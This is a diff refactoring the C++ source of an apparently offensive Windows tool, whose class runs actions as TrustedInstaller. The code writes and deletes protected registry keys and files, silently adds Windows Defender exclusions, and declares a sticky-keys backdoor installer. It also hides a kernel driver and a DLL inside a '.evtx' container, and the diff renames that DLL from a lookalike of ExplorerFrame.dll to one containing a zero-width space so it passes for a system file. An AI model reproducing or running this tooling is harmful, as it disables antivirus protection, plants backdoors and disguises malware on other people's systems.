}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRootKey,
|
bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRootKey,
|
||||||
const std::wstring& subKey,
|
std::wstring_view subKey,
|
||||||
const std::wstring& valueName,
|
std::wstring_view valueName,
|
||||||
const std::vector<BYTE>& data) noexcept
|
std::span<const BYTE> data) noexcept
|
||||||
{
|
{
|
||||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||||
if (!hToken) {
|
if (!hToken) {
|
||||||
@@ -669,18 +678,19 @@ bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRoo
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
std::wstring subKeyStr{subKey};
|
||||||
HKEY hKey;
|
HKEY hKey;
|
||||||
LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_SET_VALUE, &hKey);
|
LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_SET_VALUE, &hKey);
|
||||||
|
|
||||||
if (openResult != ERROR_SUCCESS) {
|
if (openResult != ERROR_SUCCESS) {
|
||||||
ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult);
|
ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult);
|
||||||
RevertToSelf();
|
RevertToSelf();
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
LONG result = RegSetValueExW(
|
LONG result = RegSetValueExW(
|
||||||
hKey,
|
hKey,
|
||||||
valueName.c_str(),
|
std::wstring{valueName}.c_str(),
|
||||||
0,
|
0,
|
||||||
REG_BINARY,
|
REG_BINARY,
|
||||||
data.data(),
|
data.data(),
|
||||||
@@ -691,7 +701,7 @@ bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRoo
|
|||||||
RevertToSelf();
|
RevertToSelf();
|
||||||
|
|
||||||
if (result == ERROR_SUCCESS) {
|
if (result == ERROR_SUCCESS) {
|
||||||
SUCCESS(L"Registry binary written: %s\\%s (%zu bytes)", subKey.c_str(), valueName.c_str(), data.size());
|
SUCCESS(L"Registry binary written: %s\\%s (%zu bytes)", subKeyStr.c_str(), std::wstring{valueName}.c_str(), data.size());
|
||||||
} else {
|
} else {
|
||||||
ERROR(L"Failed to write registry binary (error: %d)", result);
|
ERROR(L"Failed to write registry binary (error: %d)", result);
|
||||||
}
|
}
|
||||||
@@ -700,9 +710,9 @@ bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRoo
|
|||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootKey,
|
bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootKey,
|
||||||
const std::wstring& subKey,
|
std::wstring_view subKey,
|
||||||
const std::wstring& valueName,
|
std::wstring_view valueName,
|
||||||
std::wstring& outValue) noexcept
|
std::wstring& outValue) noexcept
|
||||||
{
|
{
|
||||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||||
if (!hToken) {
|
if (!hToken) {
|
||||||
@@ -715,18 +725,19 @@ bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootK
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
std::wstring subKeyStr{subKey};
|
||||||
HKEY hKey;
|
HKEY hKey;
|
||||||
LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_QUERY_VALUE, &hKey);
|
LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_QUERY_VALUE, &hKey);
|
||||||
|
|
||||||
if (openResult != ERROR_SUCCESS) {
|
if (openResult != ERROR_SUCCESS) {
|
||||||
ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult);
|
ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult);
|
||||||
RevertToSelf();
|
RevertToSelf();
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
DWORD dataSize = 0;
|
DWORD dataSize = 0;
|
||||||
DWORD dataType = 0;
|
DWORD dataType = 0;
|
||||||
LONG queryResult = RegQueryValueExW(hKey, valueName.c_str(), NULL, &dataType, NULL, &dataSize);
|
LONG queryResult = RegQueryValueExW(hKey, std::wstring{valueName}.c_str(), NULL, &dataType, NULL, &dataSize);
|
||||||
|
|
||||||
if (queryResult != ERROR_SUCCESS || (dataType != REG_SZ && dataType != REG_EXPAND_SZ)) {
|
if (queryResult != ERROR_SUCCESS || (dataType != REG_SZ && dataType != REG_EXPAND_SZ)) {
|
||||||
ERROR(L"Failed to query registry value size (error: %d, type: %d)", queryResult, dataType);
|
ERROR(L"Failed to query registry value size (error: %d, type: %d)", queryResult, dataType);
|
||||||
@@ -735,10 +746,10 @@ bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootK
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
std::vector<wchar_t> buffer(dataSize / sizeof(wchar_t));
|
std::vector<wchar_t> buffer(dataSize / sizeof(wchar_t) + 1);
|
||||||
LONG result = RegQueryValueExW(
|
LONG result = RegQueryValueExW(
|
||||||
hKey,
|
hKey,
|
||||||
valueName.c_str(),
|
std::wstring{valueName}.c_str(),
|
||||||
NULL,
|
NULL,
|
||||||
&dataType,
|
&dataType,
|
||||||
(LPBYTE)buffer.data(),
|
(LPBYTE)buffer.data(),
|
||||||
@@ -750,7 +761,7 @@ bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootK
|
|||||||
|
|
||||||
if (result == ERROR_SUCCESS) {
|
if (result == ERROR_SUCCESS) {
|
||||||
outValue = std::wstring(buffer.data());
|
outValue = std::wstring(buffer.data());
|
||||||
SUCCESS(L"Registry value read: %s\\%s", subKey.c_str(), valueName.c_str());
|
SUCCESS(L"Registry value read: %s\\%s", subKeyStr.c_str(), std::wstring{valueName}.c_str());
|
||||||
return true;
|
return true;
|
||||||
} else {
|
} else {
|
||||||
ERROR(L"Failed to read registry value (error: %d)", result);
|
ERROR(L"Failed to read registry value (error: %d)", result);
|
||||||
@@ -759,7 +770,7 @@ bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootK
|
|||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::DeleteRegistryKeyAsTrustedInstaller(HKEY hRootKey,
|
bool TrustedInstallerIntegrator::DeleteRegistryKeyAsTrustedInstaller(HKEY hRootKey,
|
||||||
const std::wstring& subKey) noexcept
|
std::wstring_view subKey) noexcept
|
||||||
{
|
{
|
||||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||||
if (!hToken) {
|
if (!hToken) {
|
||||||
@@ -772,14 +783,15 @@ bool TrustedInstallerIntegrator::DeleteRegistryKeyAsTrustedInstaller(HKEY hRootK
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
LONG result = RegDeleteTreeW(hRootKey, subKey.c_str());
|
std::wstring subKeyStr{subKey};
|
||||||
|
LONG result = RegDeleteTreeW(hRootKey, subKeyStr.c_str());
|
||||||
|
|
||||||
RevertToSelf();
|
RevertToSelf();
|
||||||
|
|
||||||
if (result == ERROR_SUCCESS) {
|
if (result == ERROR_SUCCESS) {
|
||||||
SUCCESS(L"Registry key deleted: %s", subKey.c_str());
|
SUCCESS(L"Registry key deleted: %s", subKeyStr.c_str());
|
||||||
} else {
|
} else {
|
||||||
ERROR(L"Failed to delete registry key: %s (error: %d)", subKey.c_str(), result);
|
ERROR(L"Failed to delete registry key: %s (error: %d)", subKeyStr.c_str(), result);
|
||||||
}
|
}
|
||||||
|
|
||||||
return (result == ERROR_SUCCESS);
|
return (result == ERROR_SUCCESS);
|
||||||
@@ -789,7 +801,7 @@ bool TrustedInstallerIntegrator::DeleteRegistryKeyAsTrustedInstaller(HKEY hRootK
|
|||||||
// DEFENDER EXCLUSION MANAGEMENT
|
// DEFENDER EXCLUSION MANAGEMENT
|
||||||
// ============================================================================
|
// ============================================================================
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::ValidateExtension(const std::wstring& extension) noexcept
|
bool TrustedInstallerIntegrator::ValidateExtension(std::wstring_view extension) noexcept
|
||||||
{
|
{
|
||||||
if (extension.empty()) return false;
|
if (extension.empty()) return false;
|
||||||
const std::wstring invalidChars = L"\\/:*?\"<>|";
|
const std::wstring invalidChars = L"\\/:*?\"<>|";
|
||||||
@@ -799,7 +811,7 @@ bool TrustedInstallerIntegrator::ValidateExtension(const std::wstring& extension
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::ValidateIpAddress(const std::wstring& ipAddress) noexcept
|
bool TrustedInstallerIntegrator::ValidateIpAddress(std::wstring_view ipAddress) noexcept
|
||||||
{
|
{
|
||||||
if (ipAddress.empty()) return false;
|
if (ipAddress.empty()) return false;
|
||||||
|
|
||||||
@@ -828,9 +840,9 @@ bool TrustedInstallerIntegrator::ValidateIpAddress(const std::wstring& ipAddress
|
|||||||
return (dots == 3 && hasDigit);
|
return (dots == 3 && hasDigit);
|
||||||
}
|
}
|
||||||
|
|
||||||
std::wstring TrustedInstallerIntegrator::NormalizeExtension(const std::wstring& extension) noexcept
|
std::wstring TrustedInstallerIntegrator::NormalizeExtension(std::wstring_view extension) noexcept
|
||||||
{
|
{
|
||||||
std::wstring normalized = extension;
|
std::wstring normalized{extension};
|
||||||
std::transform(normalized.begin(), normalized.end(), normalized.begin(), ::towlower);
|
std::transform(normalized.begin(), normalized.end(), normalized.begin(), ::towlower);
|
||||||
|
|
||||||
if (!normalized.empty() && normalized[0] != L'.') {
|
if (!normalized.empty() && normalized[0] != L'.') {
|
||||||
@@ -840,23 +852,23 @@ std::wstring TrustedInstallerIntegrator::NormalizeExtension(const std::wstring&
|
|||||||
return normalized;
|
return normalized;
|
||||||
}
|
}
|
||||||
|
|
||||||
std::wstring TrustedInstallerIntegrator::ExtractProcessName(const std::wstring& fullPath) noexcept
|
std::wstring TrustedInstallerIntegrator::ExtractProcessName(std::wstring_view fullPath) noexcept
|
||||||
{
|
{
|
||||||
size_t lastSlash = fullPath.find_last_of(L"\\/");
|
size_t lastSlash = fullPath.find_last_of(L"\\/");
|
||||||
if (lastSlash != std::wstring::npos) {
|
if (lastSlash != std::wstring_view::npos) {
|
||||||
return fullPath.substr(lastSlash + 1);
|
return std::wstring{fullPath.substr(lastSlash + 1)};
|
||||||
}
|
}
|
||||||
return fullPath;
|
return std::wstring{fullPath};
|
||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const std::wstring& value)
|
bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, std::wstring_view value)
|
||||||
{
|
{
|
||||||
std::wstring processedValue = value;
|
std::wstring processedValue{value};
|
||||||
|
|
||||||
switch (type) {
|
switch (type) {
|
||||||
case ExclusionType::Extensions:
|
case ExclusionType::Extensions:
|
||||||
if (!ValidateExtension(value)) {
|
if (!ValidateExtension(value)) {
|
||||||
ERROR(L"Invalid extension format: %s", value.c_str());
|
ERROR(L"Invalid extension format: %s", std::wstring{value}.c_str());
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
processedValue = NormalizeExtension(value);
|
processedValue = NormalizeExtension(value);
|
||||||
@@ -864,7 +876,7 @@ bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const
|
|||||||
|
|
||||||
case ExclusionType::IpAddresses:
|
case ExclusionType::IpAddresses:
|
||||||
if (!ValidateIpAddress(value)) {
|
if (!ValidateIpAddress(value)) {
|
||||||
ERROR(L"Invalid IP address format: %s", value.c_str());
|
ERROR(L"Invalid IP address format: %s", std::wstring{value}.c_str());
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
@@ -900,9 +912,9 @@ bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const
|
|||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, const std::wstring& value)
|
bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, std::wstring_view value)
|
||||||
{
|
{
|
||||||
std::wstring processedValue = value;
|
std::wstring processedValue{value};
|
||||||
|
|
||||||
switch (type) {
|
switch (type) {
|
||||||
case ExclusionType::Extensions:
|
case ExclusionType::Extensions:
|
||||||
@@ -931,47 +943,47 @@ bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, con
|
|||||||
return RunAsTrustedInstallerSilent(command);
|
return RunAsTrustedInstallerSilent(command);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::AddPathExclusion(const std::wstring& path) {
|
bool TrustedInstallerIntegrator::AddPathExclusion(std::wstring_view path) {
|
||||||
return AddDefenderExclusion(ExclusionType::Paths, path);
|
return AddDefenderExclusion(ExclusionType::Paths, path);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::RemovePathExclusion(const std::wstring& path) {
|
bool TrustedInstallerIntegrator::RemovePathExclusion(std::wstring_view path) {
|
||||||
return RemoveDefenderExclusion(ExclusionType::Paths, path);
|
return RemoveDefenderExclusion(ExclusionType::Paths, path);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::AddProcessExclusion(const std::wstring& processName) {
|
bool TrustedInstallerIntegrator::AddProcessExclusion(std::wstring_view processName) {
|
||||||
return AddDefenderExclusion(ExclusionType::Processes, processName);
|
return AddDefenderExclusion(ExclusionType::Processes, processName);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::RemoveProcessExclusion(const std::wstring& processName) {
|
bool TrustedInstallerIntegrator::RemoveProcessExclusion(std::wstring_view processName) {
|
||||||
return RemoveDefenderExclusion(ExclusionType::Processes, processName);
|
return RemoveDefenderExclusion(ExclusionType::Processes, processName);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::AddExtensionExclusion(const std::wstring& extension) {
|
bool TrustedInstallerIntegrator::AddExtensionExclusion(std::wstring_view extension) {
|
||||||
return AddDefenderExclusion(ExclusionType::Extensions, extension);
|
return AddDefenderExclusion(ExclusionType::Extensions, extension);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::RemoveExtensionExclusion(const std::wstring& extension) {
|
bool TrustedInstallerIntegrator::RemoveExtensionExclusion(std::wstring_view extension) {
|
||||||
return RemoveDefenderExclusion(ExclusionType::Extensions, extension);
|
return RemoveDefenderExclusion(ExclusionType::Extensions, extension);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::AddIpAddressExclusion(const std::wstring& ipAddress) {
|
bool TrustedInstallerIntegrator::AddIpAddressExclusion(std::wstring_view ipAddress) {
|
||||||
return AddDefenderExclusion(ExclusionType::IpAddresses, ipAddress);
|
return AddDefenderExclusion(ExclusionType::IpAddresses, ipAddress);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::RemoveIpAddressExclusion(const std::wstring& ipAddress) {
|
bool TrustedInstallerIntegrator::RemoveIpAddressExclusion(std::wstring_view ipAddress) {
|
||||||
return RemoveDefenderExclusion(ExclusionType::IpAddresses, ipAddress);
|
return RemoveDefenderExclusion(ExclusionType::IpAddresses, ipAddress);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::AddProcessToDefenderExclusions(const std::wstring& processName) {
|
bool TrustedInstallerIntegrator::AddProcessToDefenderExclusions(std::wstring_view processName) {
|
||||||
return AddProcessExclusion(processName);
|
return AddProcessExclusion(processName);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::RemoveProcessFromDefenderExclusions(const std::wstring& processName) {
|
bool TrustedInstallerIntegrator::RemoveProcessFromDefenderExclusions(std::wstring_view processName) {
|
||||||
return RemoveProcessExclusion(processName);
|
return RemoveProcessExclusion(processName);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& customPath)
|
bool TrustedInstallerIntegrator::AddToDefenderExclusions(std::wstring_view customPath)
|
||||||
{
|
{
|
||||||
wchar_t currentPath[MAX_PATH];
|
wchar_t currentPath[MAX_PATH];
|
||||||
|
|
||||||
@@ -985,7 +997,7 @@ bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& cus
|
|||||||
ERROR(L"File path too long");
|
ERROR(L"File path too long");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
wcscpy_s(currentPath, MAX_PATH, customPath.c_str());
|
wcscpy_s(currentPath, MAX_PATH, std::wstring{customPath}.c_str());
|
||||||
}
|
}
|
||||||
|
|
||||||
fs::path filePath(currentPath);
|
fs::path filePath(currentPath);
|
||||||
@@ -998,7 +1010,7 @@ bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& cus
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(const std::wstring& customPath)
|
bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(std::wstring_view customPath)
|
||||||
{
|
{
|
||||||
wchar_t currentPath[MAX_PATH];
|
wchar_t currentPath[MAX_PATH];
|
||||||
|
|
||||||
@@ -1012,7 +1024,7 @@ bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(const std::wstring
|
|||||||
ERROR(L"File path too long");
|
ERROR(L"File path too long");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
wcscpy_s(currentPath, MAX_PATH, customPath.c_str());
|
wcscpy_s(currentPath, MAX_PATH, std::wstring{customPath}.c_str());
|
||||||
}
|
}
|
||||||
|
|
||||||
fs::path filePath(currentPath);
|
fs::path filePath(currentPath);
|
||||||
@@ -1163,7 +1175,7 @@ bool TrustedInstallerIntegrator::AddContextMenuEntries()
|
|||||||
// HELPER UTILITIES
|
// HELPER UTILITIES
|
||||||
// ============================================================================
|
// ============================================================================
|
||||||
|
|
||||||
DWORD TrustedInstallerIntegrator::GetProcessIdByName(LPCWSTR processName)
|
DWORD TrustedInstallerIntegrator::GetProcessIdByName(std::wstring_view processName)
|
||||||
{
|
{
|
||||||
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
|
if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
|
||||||
@@ -1174,7 +1186,7 @@ DWORD TrustedInstallerIntegrator::GetProcessIdByName(LPCWSTR processName)
|
|||||||
|
|
||||||
if (Process32FirstW(hSnapshot, &pe)) {
|
if (Process32FirstW(hSnapshot, &pe)) {
|
||||||
do {
|
do {
|
||||||
if (wcscmp(pe.szExeFile, processName) == 0) {
|
if (std::wstring_view(pe.szExeFile) == processName) {
|
||||||
pid = pe.th32ProcessID;
|
pid = pe.th32ProcessID;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -1185,15 +1197,13 @@ DWORD TrustedInstallerIntegrator::GetProcessIdByName(LPCWSTR processName)
|
|||||||
return pid;
|
return pid;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::IsLnkFile(LPCWSTR path)
|
bool TrustedInstallerIntegrator::IsLnkFile(std::wstring_view path)
|
||||||
{
|
{
|
||||||
if (!path) return false;
|
if (path.length() < 4) return false;
|
||||||
size_t len = wcslen(path);
|
return (_wcsicmp(std::wstring{path.substr(path.length() - 4)}.c_str(), L".lnk") == 0);
|
||||||
if (len < 4) return false;
|
|
||||||
return (_wcsicmp(path + len - 4, L".lnk") == 0);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
std::wstring TrustedInstallerIntegrator::ResolveLnk(LPCWSTR lnkPath)
|
std::wstring TrustedInstallerIntegrator::ResolveLnk(std::wstring_view lnkPath)
|
||||||
{
|
{
|
||||||
IShellLinkW* pShellLink = nullptr;
|
IShellLinkW* pShellLink = nullptr;
|
||||||
IPersistFile* pPersistFile = nullptr;
|
IPersistFile* pPersistFile = nullptr;
|
||||||
@@ -1208,7 +1218,8 @@ std::wstring TrustedInstallerIntegrator::ResolveLnk(LPCWSTR lnkPath)
|
|||||||
return L"";
|
return L"";
|
||||||
}
|
}
|
||||||
|
|
||||||
hr = pPersistFile->Load(lnkPath, STGM_READ);
|
std::wstring lnkPathStr{lnkPath};
|
||||||
|
hr = pPersistFile->Load(lnkPathStr.c_str(), STGM_READ);
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
pPersistFile->Release();
|
pPersistFile->Release();
|
||||||
pShellLink->Release();
|
pShellLink->Release();
|
||||||
|
|||||||
@@ -3,6 +3,8 @@
|
|||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <vector>
|
#include <vector>
|
||||||
|
#include <string_view>
|
||||||
|
#include <span>
|
||||||
|
|
||||||
class TrustedInstallerIntegrator
|
class TrustedInstallerIntegrator
|
||||||
{
|
{
|
||||||
@@ -22,55 +24,55 @@ public:
|
|||||||
bool RunAsTrustedInstallerSilent(const std::wstring& commandLine);
|
bool RunAsTrustedInstallerSilent(const std::wstring& commandLine);
|
||||||
|
|
||||||
// File operations (NEW - direct write/delete with TrustedInstaller)
|
// File operations (NEW - direct write/delete with TrustedInstaller)
|
||||||
bool WriteFileAsTrustedInstaller(const std::wstring& filePath,
|
bool WriteFileAsTrustedInstaller(std::wstring_view filePath,
|
||||||
const std::vector<BYTE>& data) noexcept;
|
std::span<const BYTE> data) noexcept;
|
||||||
bool DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept;
|
bool DeleteFileAsTrustedInstaller(std::wstring_view filePath) noexcept;
|
||||||
|
|
||||||
bool RenameFileAsTrustedInstaller(const std::wstring& srcPath,
|
bool RenameFileAsTrustedInstaller(std::wstring_view srcPath,
|
||||||
const std::wstring& dstPath) noexcept;
|
std::wstring_view dstPath) noexcept;
|
||||||
|
|
||||||
// Creates a directory with TrustedInstaller privileges
|
// Creates a directory with TrustedInstaller privileges
|
||||||
bool CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept;
|
bool CreateDirectoryAsTrustedInstaller(std::wstring_view directoryPath) noexcept;
|
||||||
|
|
||||||
// Registry operations (NEW - direct registry access with TrustedInstaller)
|
// Registry operations (NEW - direct registry access with TrustedInstaller)
|
||||||
bool CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey,
|
bool CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey,
|
||||||
const std::wstring& subKey) noexcept;
|
std::wstring_view subKey) noexcept;
|
||||||
bool WriteRegistryValueAsTrustedInstaller(HKEY hRootKey,
|
bool WriteRegistryValueAsTrustedInstaller(HKEY hRootKey,
|
||||||
const std::wstring& subKey,
|
std::wstring_view subKey,
|
||||||
const std::wstring& valueName,
|
std::wstring_view valueName,
|
||||||
const std::wstring& value) noexcept;
|
std::wstring_view value) noexcept;
|
||||||
bool WriteRegistryDwordAsTrustedInstaller(HKEY hRootKey,
|
bool WriteRegistryDwordAsTrustedInstaller(HKEY hRootKey,
|
||||||
const std::wstring& subKey,
|
std::wstring_view subKey,
|
||||||
const std::wstring& valueName,
|
std::wstring_view valueName,
|
||||||
DWORD value) noexcept;
|
DWORD value) noexcept;
|
||||||
bool WriteRegistryBinaryAsTrustedInstaller(HKEY hRootKey,
|
bool WriteRegistryBinaryAsTrustedInstaller(HKEY hRootKey,
|
||||||
const std::wstring& subKey,
|
std::wstring_view subKey,
|
||||||
const std::wstring& valueName,
|
std::wstring_view valueName,
|
||||||
const std::vector<BYTE>& data) noexcept;
|
std::span<const BYTE> data) noexcept;
|
||||||
bool ReadRegistryValueAsTrustedInstaller(HKEY hRootKey,
|
bool ReadRegistryValueAsTrustedInstaller(HKEY hRootKey,
|
||||||
const std::wstring& subKey,
|
std::wstring_view subKey,
|
||||||
const std::wstring& valueName,
|
std::wstring_view valueName,
|
||||||
std::wstring& outValue) noexcept;
|
std::wstring& outValue) noexcept;
|
||||||
bool DeleteRegistryKeyAsTrustedInstaller(HKEY hRootKey,
|
bool DeleteRegistryKeyAsTrustedInstaller(HKEY hRootKey,
|
||||||
const std::wstring& subKey) noexcept;
|
std::wstring_view subKey) noexcept;
|
||||||
|
|
||||||
// Defender exclusions
|
// Defender exclusions
|
||||||
bool AddDefenderExclusion(ExclusionType type, const std::wstring& value);
|
bool AddDefenderExclusion(ExclusionType type, std::wstring_view value);
|
||||||
bool RemoveDefenderExclusion(ExclusionType type, const std::wstring& value);
|
bool RemoveDefenderExclusion(ExclusionType type, std::wstring_view value);
|
||||||
bool AddToDefenderExclusions(const std::wstring& customPath = L"");
|
bool AddToDefenderExclusions(std::wstring_view customPath = L"");
|
||||||
bool RemoveFromDefenderExclusions(const std::wstring& customPath = L"");
|
bool RemoveFromDefenderExclusions(std::wstring_view customPath = L"");
|
||||||
|
|
||||||
bool AddPathExclusion(const std::wstring& path);
|
bool AddPathExclusion(std::wstring_view path);
|
||||||
bool RemovePathExclusion(const std::wstring& path);
|
bool RemovePathExclusion(std::wstring_view path);
|
||||||
bool AddProcessExclusion(const std::wstring& processName);
|
bool AddProcessExclusion(std::wstring_view processName);
|
||||||
bool RemoveProcessExclusion(const std::wstring& processName);
|
bool RemoveProcessExclusion(std::wstring_view processName);
|
||||||
bool AddExtensionExclusion(const std::wstring& extension);
|
bool AddExtensionExclusion(std::wstring_view extension);
|
||||||
bool RemoveExtensionExclusion(const std::wstring& extension);
|
bool RemoveExtensionExclusion(std::wstring_view extension);
|
||||||
bool AddIpAddressExclusion(const std::wstring& ipAddress);
|
bool AddIpAddressExclusion(std::wstring_view ipAddress);
|
||||||
bool RemoveIpAddressExclusion(const std::wstring& ipAddress);
|
bool RemoveIpAddressExclusion(std::wstring_view ipAddress);
|
||||||
|
|
||||||
bool AddProcessToDefenderExclusions(const std::wstring& processName);
|
bool AddProcessToDefenderExclusions(std::wstring_view processName);
|
||||||
bool RemoveProcessFromDefenderExclusions(const std::wstring& processName);
|
bool RemoveProcessFromDefenderExclusions(std::wstring_view processName);
|
||||||
|
|
||||||
// Sticky keys backdoor
|
// Sticky keys backdoor
|
||||||
bool InstallStickyKeysBackdoor() noexcept;
|
bool InstallStickyKeysBackdoor() noexcept;
|
||||||
@@ -91,17 +93,17 @@ private:
|
|||||||
static const LPCWSTR ALL_PRIVILEGES[];
|
static const LPCWSTR ALL_PRIVILEGES[];
|
||||||
static const int PRIVILEGE_COUNT;
|
static const int PRIVILEGE_COUNT;
|
||||||
|
|
||||||
BOOL EnablePrivilegeInternal(LPCWSTR privilegeName);
|
BOOL EnablePrivilegeInternal(std::wstring_view privilegeName);
|
||||||
BOOL ImpersonateSystem();
|
BOOL ImpersonateSystem();
|
||||||
BOOL CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine);
|
BOOL CreateProcessAsTrustedInstaller(DWORD pid, std::wstring_view commandLine);
|
||||||
BOOL CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine);
|
BOOL CreateProcessAsTrustedInstallerSilent(DWORD pid, std::wstring_view commandLine);
|
||||||
|
|
||||||
DWORD GetProcessIdByName(LPCWSTR processName);
|
DWORD GetProcessIdByName(std::wstring_view processName);
|
||||||
bool IsLnkFile(LPCWSTR path);
|
bool IsLnkFile(std::wstring_view path);
|
||||||
std::wstring ResolveLnk(LPCWSTR lnkPath);
|
std::wstring ResolveLnk(std::wstring_view lnkPath);
|
||||||
|
|
||||||
bool ValidateExtension(const std::wstring& extension) noexcept;
|
bool ValidateExtension(std::wstring_view extension) noexcept;
|
||||||
bool ValidateIpAddress(const std::wstring& ipAddress) noexcept;
|
bool ValidateIpAddress(std::wstring_view ipAddress) noexcept;
|
||||||
std::wstring NormalizeExtension(const std::wstring& extension) noexcept;
|
std::wstring NormalizeExtension(std::wstring_view extension) noexcept;
|
||||||
std::wstring ExtractProcessName(const std::wstring& fullPath) noexcept;
|
std::wstring ExtractProcessName(std::wstring_view fullPath) noexcept;
|
||||||
};
|
};
|
||||||
@@ -986,7 +986,7 @@ std::vector<BYTE> DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) n
|
|||||||
return extractedFile;
|
return extractedFile;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Splits kvc.evtx container into driver (kvc.sys) and DLL (ExpIorerFrame.dll)
|
// Splits kvc.evtx container into driver (kvc.sys) and DLL (ExplorerFrame\u200B.dll)
|
||||||
// Uses PE subsystem field to distinguish driver (Native) from DLL (Windows GUI/Console)
|
// Uses PE subsystem field to distinguish driver (Native) from DLL (Windows GUI/Console)
|
||||||
bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
|
bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
|
||||||
std::vector<BYTE>& outKvcSys,
|
std::vector<BYTE>& outKvcSys,
|
||||||
